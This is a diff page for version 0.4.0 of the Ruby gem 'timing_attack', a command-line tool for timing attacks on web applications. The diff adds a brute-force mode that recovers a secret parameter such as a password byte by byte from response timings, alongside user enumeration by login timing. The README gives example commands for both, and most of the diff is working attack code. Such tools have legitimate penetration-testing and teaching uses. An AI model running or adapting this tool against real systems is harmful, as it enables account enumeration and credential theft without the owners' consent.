timing_attack 0.3.0 → 0.4.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/README.md +31 -14
- data/exe/timing_attack +16 -3
- data/lib/timing_attack/attacker.rb +35 -0
- data/lib/timing_attack/brute_forcer.rb +60 -0
- data/lib/timing_attack/{cli_attacker.rb → enumerator.rb} +15 -33
- data/lib/timing_attack/spinner.rb +12 -0
- data/lib/timing_attack/test_case.rb +29 -7
- data/lib/timing_attack/version.rb +1 -1
- data/lib/timing_attack.rb +6 -1
- data/timing_attack.gemspec +1 -0
- metadata +21 -4
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: f4aa7a2b7ae3b9a7bf2b6d39d586d3484aa83d7e
|
4
|
+
data.tar.gz: 3432f10030dbb838b9ff224d4c7942f8fb82392a
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 635ff7244a86461d6531034e54a607b0c91973c5d1a31631e571860b3eca132ce770753dce0973ab4d798a4aed209d9567bdaf7bca75901fa52f4dc8c94aa5fc
|
7
|
+
data.tar.gz: 0d7d00c315e3bdc7f947c4ba1294f2810a4bd901a225bdc2655e51d4807ceebc785e7d85ace2d02d442088aa5b7f14eb66e2579c97cd5fd89fa4a4dc9ba7e4f1
|
data/README.md
CHANGED
@@ -19,7 +19,10 @@ timing_attack [options] -u <target> <inputs>
|
|
19
19
|
-t, --threshold NUM Minimum threshold, in seconds, for meaningfulness (default: 0.025)
|
20
20
|
-p, --post Use POST, not GET
|
21
21
|
-q, --quiet Quiet mode (don't display progress bars)
|
22
|
-
--
|
22
|
+
--brute_force Brute force mode
|
23
|
+
--parameters STR JSON hash of parameters. 'INPUT' will be replaced with the attack string
|
24
|
+
--body STR JSON of body paramets to be sent to Typhoeus. 'INPUT' will be replaced with the attack string
|
25
|
+
--percentile NUM Use NUMth percentile for calculations (default: 3)
|
23
26
|
--mean Use mean for calculations
|
24
27
|
--median Use median for calculations
|
25
28
|
-v, --version Print version information
|
@@ -28,34 +31,51 @@ timing_attack [options] -u <target> <inputs>
|
|
28
31
|
|
29
32
|
Note that setting concurrency too high can add significant jitter to your results. If you know that your inputs contain elements in both long and short response groups but your results are bogus, try backing off on concurrency. The default value of 15 is a good starting place for robust remote targets, but you might need to dial it back to as far as 1 (especially if you're attacking a single-threaded server)
|
30
33
|
|
31
|
-
|
34
|
+
For the `url`, `body`, and `parameters` options, the string `INPUT` can be included. It will be replaced with the current test string.
|
35
|
+
|
36
|
+
The `body` and `parameters` options take objects serialized with JSON.
|
37
|
+
|
38
|
+
### Enumeration
|
32
39
|
|
33
40
|
Consider that we we want to gather information from a Rails server running
|
34
41
|
locally at `http://localhost:3000`. Let's say that we know the following:
|
35
42
|
* `charles@poodles.com` exists in the database
|
36
43
|
* `invalid@fake.fake` does not exist in the database
|
37
44
|
|
38
|
-
And we want to know if `
|
45
|
+
And we want to know if `bactrian@dev.null` and `alpaca@dev.null` exist in
|
39
46
|
the database.
|
40
47
|
|
41
48
|
We execute (using `-q` to suppress the progress bar)
|
42
49
|
```bash
|
43
|
-
% timing_attack -q -u http://localhost:3000/login \
|
44
|
-
|
50
|
+
% timing_attack -q -u 'http://localhost:3000/timing/conditional_hashing?login=INPUT&password=123' \
|
51
|
+
bactrian@dev.null alpaca@dev.null \
|
45
52
|
charles@poodles.com invalid@fake.fake
|
46
53
|
```
|
47
54
|
```
|
48
55
|
Short tests:
|
49
|
-
|
50
|
-
|
56
|
+
invalid@fake.fake 0.0031
|
57
|
+
alpaca@dev.null 0.0033
|
51
58
|
Long tests:
|
52
|
-
|
53
|
-
charles@poodles.com 0.
|
59
|
+
bactrian@dev.null 0.1037
|
60
|
+
charles@poodles.com 0.1040
|
54
61
|
```
|
55
62
|
|
56
63
|
Note that you don't need to know anything about the database when attacking. It
|
57
64
|
is, however, nice to have a bit of information as a sanity check.
|
58
65
|
|
66
|
+
### Brute Forcing
|
67
|
+
|
68
|
+
Consider that we know the endpoint
|
69
|
+
`http://localhost:3000/timing/string_comparison` is vulnerable to a timing
|
70
|
+
attack due to an early return in string comparison. We can attack it with
|
71
|
+
```bash
|
72
|
+
timing_attack -u http://localhost:3000/timing/string_comparison \
|
73
|
+
--parameters '{"password":"INPUT"}' \
|
74
|
+
--brute_force
|
75
|
+
```
|
76
|
+
This will attempt a brute-force timing attack against against the `password`
|
77
|
+
parameter.
|
78
|
+
|
59
79
|
## How it works
|
60
80
|
|
61
81
|
The various inputs are each thrown at the endpoint `--number` times. The
|
@@ -81,14 +101,11 @@ Bug reports and pull requests are welcome [here](https://github.com/ffleming/tim
|
|
81
101
|
|
82
102
|
## Disclaimer
|
83
103
|
|
84
|
-
|
104
|
+
timing_attack is quick and dirty.
|
85
105
|
|
86
|
-
Also, don't use
|
106
|
+
Also, don't use timing_attack against machines that aren't yours.
|
87
107
|
|
88
108
|
## Todo
|
89
109
|
* Tests
|
90
110
|
* More intelligent filtering than nth-percentile + spike detection
|
91
111
|
* CW&R's box test
|
92
|
-
* Customizable query parameters
|
93
|
-
* Threading for requests?
|
94
|
-
* Custom or just use Typhoeus
|
data/exe/timing_attack
CHANGED
@@ -1,6 +1,5 @@
|
|
1
1
|
#!/usr/bin/env ruby
|
2
2
|
require 'timing_attack'
|
3
|
-
require 'optparse'
|
4
3
|
|
5
4
|
options = {}
|
6
5
|
opt_parser = OptionParser.new do |opts|
|
@@ -18,7 +17,14 @@ opt_parser = OptionParser.new do |opts|
|
|
18
17
|
end
|
19
18
|
opts.on("-p", "--post", "Use POST, not GET") { |bool| options[:method] = bool ? :post : :get }
|
20
19
|
opts.on("-q", "--quiet", "Quiet mode (don't display progress bars)") { |bool| options[:verbose] = !bool }
|
21
|
-
opts.on("--
|
20
|
+
opts.on("--brute_force", "Brute force mode") { |bool| options[:brute_force] = bool }
|
21
|
+
opts.on("--parameters STR", "JSON hash of parameters. 'INPUT' will be replaced with the attack string") do |str|
|
22
|
+
options[:params] = JSON.parse(str)
|
23
|
+
end
|
24
|
+
opts.on("--body STR", "JSON of body paramets to be sent to Typhoeus. 'INPUT' will be replaced with the attack string") do |str|
|
25
|
+
options[:body] = JSON.parse(str)
|
26
|
+
end
|
27
|
+
opts.on("--percentile NUM", "Use NUMth percentile for calculations (default: 3)") { |num| options[:percentile] = num.to_i }
|
22
28
|
opts.on("--mean", "Use mean for calculations") { |bool| options[:mean] = bool }
|
23
29
|
opts.on("--median", "Use median for calculations") { |bool| options[:median] = bool }
|
24
30
|
opts.on_tail("-v", "--version", "Print version information") do
|
@@ -46,10 +52,17 @@ elsif options[:mean]
|
|
46
52
|
end
|
47
53
|
|
48
54
|
begin
|
49
|
-
atk =
|
55
|
+
atk = if options.delete(:brute_force)
|
56
|
+
TimingAttack::BruteForcer.new(options: options)
|
57
|
+
else
|
58
|
+
TimingAttack::Enumerator.new(inputs: ARGV, options: options)
|
59
|
+
end
|
50
60
|
atk.run!
|
51
61
|
rescue ArgumentError => e
|
52
62
|
STDERR.puts e.message
|
53
63
|
puts opt_parser
|
54
64
|
exit
|
65
|
+
rescue Interrupt => e
|
66
|
+
puts "\nCaught interrupt, exiting"
|
67
|
+
exit
|
55
68
|
end
|
@@ -0,0 +1,35 @@
|
|
1
|
+
module TimingAttack
|
2
|
+
module Attacker
|
3
|
+
def run!
|
4
|
+
if verbose?
|
5
|
+
puts "Target: #{url}"
|
6
|
+
puts "Method: #{method.to_s.upcase}"
|
7
|
+
puts "Parameters: #{params.inspect}" unless params.empty?
|
8
|
+
puts "Body: #{body.inspect}" unless body.empty?
|
9
|
+
end
|
10
|
+
attack!
|
11
|
+
end
|
12
|
+
|
13
|
+
private
|
14
|
+
attr_reader :attacks, :options
|
15
|
+
|
16
|
+
%i(iterations url verbose width method mean percentile threshold concurrency params body).each do |sym|
|
17
|
+
define_method(sym) { options.fetch sym }
|
18
|
+
end
|
19
|
+
alias_method :verbose?, :verbose
|
20
|
+
|
21
|
+
def default_options
|
22
|
+
{
|
23
|
+
verbose: true,
|
24
|
+
method: :get,
|
25
|
+
iterations: 50,
|
26
|
+
mean: false,
|
27
|
+
threshold: 0.025,
|
28
|
+
percentile: 3,
|
29
|
+
concurrency: 15,
|
30
|
+
params: {},
|
31
|
+
body: {},
|
32
|
+
}.freeze
|
33
|
+
end
|
34
|
+
end
|
35
|
+
end
|
@@ -0,0 +1,60 @@
|
|
1
|
+
module TimingAttack
|
2
|
+
class BruteForcer
|
3
|
+
include TimingAttack::Attacker
|
4
|
+
|
5
|
+
def initialize(options: {})
|
6
|
+
@options = default_options.merge(options)
|
7
|
+
raise ArgumentError.new("Must provide :url key") if url.nil?
|
8
|
+
@known = ""
|
9
|
+
end
|
10
|
+
|
11
|
+
private
|
12
|
+
|
13
|
+
attr_reader :known
|
14
|
+
POTENTIAL_BYTES = (' '..'z').to_a
|
15
|
+
def attack!
|
16
|
+
while(true)
|
17
|
+
attack_byte!
|
18
|
+
end
|
19
|
+
end
|
20
|
+
|
21
|
+
def attack_byte!
|
22
|
+
@attacks = POTENTIAL_BYTES.map do |byte|
|
23
|
+
TimingAttack::TestCase.new(input: "#{known}#{byte}",
|
24
|
+
options: options)
|
25
|
+
end
|
26
|
+
run_attacks_for_single_byte!
|
27
|
+
process_attacks_for_single_byte!
|
28
|
+
end
|
29
|
+
|
30
|
+
def run_attacks_for_single_byte!
|
31
|
+
hydra = Typhoeus::Hydra.new(max_concurrency: concurrency)
|
32
|
+
iterations.times do
|
33
|
+
attacks.each do |attack|
|
34
|
+
req = attack.generate_hydra_request!
|
35
|
+
req.on_complete do |response|
|
36
|
+
print "\r#{' ' * (known.length + 4)}"
|
37
|
+
output.increment
|
38
|
+
print " '#{known}'"
|
39
|
+
end
|
40
|
+
hydra.queue req
|
41
|
+
end
|
42
|
+
end
|
43
|
+
hydra.run
|
44
|
+
end
|
45
|
+
|
46
|
+
def process_attacks_for_single_byte!
|
47
|
+
attacks.each(&:process!)
|
48
|
+
grouper = Grouper.new(attacks: attacks, group_by: { percentile: options.fetch(:percentile) })
|
49
|
+
results = grouper.long_tests.map(&:input)
|
50
|
+
if grouper.long_tests.count > 1
|
51
|
+
raise StandardError.new("Got too many possibilities: #{results.join(', ')}")
|
52
|
+
end
|
53
|
+
@known = results.first
|
54
|
+
end
|
55
|
+
|
56
|
+
def output
|
57
|
+
@output ||= TimingAttack::Spinner.new
|
58
|
+
end
|
59
|
+
end
|
60
|
+
end
|
@@ -1,25 +1,24 @@
|
|
1
1
|
module TimingAttack
|
2
|
-
class
|
2
|
+
class Enumerator
|
3
|
+
include TimingAttack::Attacker
|
4
|
+
|
3
5
|
def initialize(inputs: [], options: {})
|
4
|
-
@
|
6
|
+
@inputs = inputs
|
7
|
+
@options = default_options.merge(options)
|
5
8
|
raise ArgumentError.new("url is a required argument") unless options.has_key? :url
|
6
9
|
raise ArgumentError.new("Need at least 2 inputs") if inputs.count < 2
|
7
10
|
raise ArgumentError.new("Iterations can't be < 3") if iterations < 3
|
8
|
-
unless @options.has_key? :width
|
9
|
-
@options[:width] = inputs.dup.map(&:length).push(30).sort.last
|
10
|
-
end
|
11
11
|
@attacks = inputs.map { |input| TestCase.new(input: input, options: @options) }
|
12
12
|
end
|
13
13
|
|
14
14
|
def run!
|
15
|
-
|
16
|
-
|
17
|
-
puts report
|
15
|
+
super
|
16
|
+
puts report
|
18
17
|
end
|
19
18
|
|
20
19
|
private
|
21
20
|
|
22
|
-
attr_reader :
|
21
|
+
attr_reader :grouper, :inputs
|
23
22
|
|
24
23
|
def report
|
25
24
|
ret = ''
|
@@ -43,7 +42,7 @@ module TimingAttack
|
|
43
42
|
attacks.each do |attack|
|
44
43
|
req = attack.generate_hydra_request!
|
45
44
|
req.on_complete do |response|
|
46
|
-
|
45
|
+
output.increment
|
47
46
|
end
|
48
47
|
hydra.queue req
|
49
48
|
end
|
@@ -62,22 +61,14 @@ module TimingAttack
|
|
62
61
|
@grouper = Grouper.new(attacks: attacks, group_by: group_by)
|
63
62
|
end
|
64
63
|
|
65
|
-
def
|
64
|
+
def output
|
66
65
|
return null_bar unless verbose?
|
67
|
-
@
|
66
|
+
@output ||= ProgressBar.create(title: " Attacking".ljust(15),
|
68
67
|
total: iterations * attacks.length,
|
69
68
|
format: bar_format
|
70
69
|
)
|
71
70
|
end
|
72
71
|
|
73
|
-
def benchmark_bar
|
74
|
-
return null_bar unless verbose?
|
75
|
-
@benchmark_bar ||= ProgressBar.create(title: " Benchmarking".ljust(15),
|
76
|
-
total: iterations * 2,
|
77
|
-
format: bar_format
|
78
|
-
)
|
79
|
-
end
|
80
|
-
|
81
72
|
def bar_format
|
82
73
|
@bar_format ||= "%t (%E) |%B|"
|
83
74
|
end
|
@@ -87,19 +78,10 @@ module TimingAttack
|
|
87
78
|
@null_bar ||= @null_bar_klass.new
|
88
79
|
end
|
89
80
|
|
90
|
-
|
91
|
-
|
81
|
+
def default_options
|
82
|
+
super.merge(
|
83
|
+
width: inputs.dup.map(&:length).push(30).sort.last,
|
84
|
+
).freeze
|
92
85
|
end
|
93
|
-
alias_method :verbose?, :verbose
|
94
|
-
|
95
|
-
DEFAULT_OPTIONS = {
|
96
|
-
verbose: false,
|
97
|
-
method: :get,
|
98
|
-
iterations: 50,
|
99
|
-
mean: false,
|
100
|
-
threshold: 0.025,
|
101
|
-
percentile: 3,
|
102
|
-
concurrency: 15
|
103
|
-
}.freeze
|
104
86
|
end
|
105
87
|
end
|
@@ -1,5 +1,8 @@
|
|
1
|
+
require 'uri'
|
1
2
|
module TimingAttack
|
2
3
|
class TestCase
|
4
|
+
INPUT_FLAG = "INPUT"
|
5
|
+
|
3
6
|
attr_reader :input
|
4
7
|
def initialize(input: , options: {})
|
5
8
|
@input = input
|
@@ -7,17 +10,21 @@ module TimingAttack
|
|
7
10
|
@times = []
|
8
11
|
@percentiles = []
|
9
12
|
@hydra_requests = []
|
13
|
+
@url = URI.escape(
|
14
|
+
options.fetch(:url).
|
15
|
+
gsub(INPUT_FLAG, input)
|
16
|
+
)
|
17
|
+
@params = params_from(options.fetch :params, {})
|
18
|
+
@body = params_from(options.fetch :body, {})
|
10
19
|
end
|
11
20
|
|
12
21
|
def generate_hydra_request!
|
13
22
|
req = Typhoeus::Request.new(
|
14
|
-
|
23
|
+
url,
|
15
24
|
method: options.fetch(:method),
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
},
|
20
|
-
followlocation: true
|
25
|
+
followlocation: true,
|
26
|
+
params: params,
|
27
|
+
body: body
|
21
28
|
)
|
22
29
|
@hydra_requests.push req
|
23
30
|
req
|
@@ -47,6 +54,21 @@ module TimingAttack
|
|
47
54
|
|
48
55
|
private
|
49
56
|
|
50
|
-
|
57
|
+
def params_from(obj)
|
58
|
+
case obj
|
59
|
+
when String
|
60
|
+
obj.gsub(INPUT_FLAG, input)
|
61
|
+
when Symbol
|
62
|
+
params_from(obj.to_s).to_sym
|
63
|
+
when Hash
|
64
|
+
Hash[obj.map {|k, v| [params_from(k), params_from(v)]}]
|
65
|
+
when Array
|
66
|
+
obj.map {|el| params_from(el) }
|
67
|
+
else
|
68
|
+
obj
|
69
|
+
end
|
70
|
+
end
|
71
|
+
|
72
|
+
attr_reader :times, :options, :percentiles, :url, :params, :body
|
51
73
|
end
|
52
74
|
end
|
data/lib/timing_attack.rb
CHANGED
@@ -1,9 +1,14 @@
|
|
1
1
|
require 'typhoeus'
|
2
|
+
require 'json'
|
3
|
+
require 'optparse'
|
2
4
|
require 'ruby-progressbar'
|
3
5
|
require "timing_attack/version"
|
6
|
+
require "timing_attack/attacker"
|
7
|
+
require 'timing_attack/spinner'
|
8
|
+
require "timing_attack/brute_forcer"
|
4
9
|
require "timing_attack/grouper"
|
5
10
|
require "timing_attack/test_case"
|
6
|
-
require "timing_attack/
|
11
|
+
require "timing_attack/enumerator"
|
7
12
|
|
8
13
|
module TimingAttack
|
9
14
|
end
|
data/timing_attack.gemspec
CHANGED
@@ -22,6 +22,7 @@ Gem::Specification.new do |spec|
|
|
22
22
|
spec.add_runtime_dependency "ruby-progressbar", "~> 1.8"
|
23
23
|
spec.add_runtime_dependency "typhoeus", "~> 1.1"
|
24
24
|
spec.add_development_dependency "bundler", "~> 1.12"
|
25
|
+
spec.add_development_dependency "pry-byebug", "~> 3.4"
|
25
26
|
spec.add_development_dependency "rake", "~> 10.0"
|
26
27
|
spec.add_development_dependency "rspec", "~> 3.0"
|
27
28
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: timing_attack
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.
|
4
|
+
version: 0.4.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Forrest Fleming
|
8
8
|
autorequire:
|
9
9
|
bindir: exe
|
10
10
|
cert_chain: []
|
11
|
-
date:
|
11
|
+
date: 2017-02-04 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: ruby-progressbar
|
@@ -52,6 +52,20 @@ dependencies:
|
|
52
52
|
- - "~>"
|
53
53
|
- !ruby/object:Gem::Version
|
54
54
|
version: '1.12'
|
55
|
+
- !ruby/object:Gem::Dependency
|
56
|
+
name: pry-byebug
|
57
|
+
requirement: !ruby/object:Gem::Requirement
|
58
|
+
requirements:
|
59
|
+
- - "~>"
|
60
|
+
- !ruby/object:Gem::Version
|
61
|
+
version: '3.4'
|
62
|
+
type: :development
|
63
|
+
prerelease: false
|
64
|
+
version_requirements: !ruby/object:Gem::Requirement
|
65
|
+
requirements:
|
66
|
+
- - "~>"
|
67
|
+
- !ruby/object:Gem::Version
|
68
|
+
version: '3.4'
|
55
69
|
- !ruby/object:Gem::Dependency
|
56
70
|
name: rake
|
57
71
|
requirement: !ruby/object:Gem::Requirement
|
@@ -99,8 +113,11 @@ files:
|
|
99
113
|
- bin/setup
|
100
114
|
- exe/timing_attack
|
101
115
|
- lib/timing_attack.rb
|
102
|
-
- lib/timing_attack/
|
116
|
+
- lib/timing_attack/attacker.rb
|
117
|
+
- lib/timing_attack/brute_forcer.rb
|
118
|
+
- lib/timing_attack/enumerator.rb
|
103
119
|
- lib/timing_attack/grouper.rb
|
120
|
+
- lib/timing_attack/spinner.rb
|
104
121
|
- lib/timing_attack/test_case.rb
|
105
122
|
- lib/timing_attack/version.rb
|
106
123
|
- timing_attack.gemspec
|
@@ -124,7 +141,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
124
141
|
version: '0'
|
125
142
|
requirements: []
|
126
143
|
rubyforge_project:
|
127
|
-
rubygems_version: 2.
|
144
|
+
rubygems_version: 2.5.2
|
128
145
|
signing_key:
|
129
146
|
specification_version: 4
|
130
147
|
summary: Perform timing attacks against web applications
|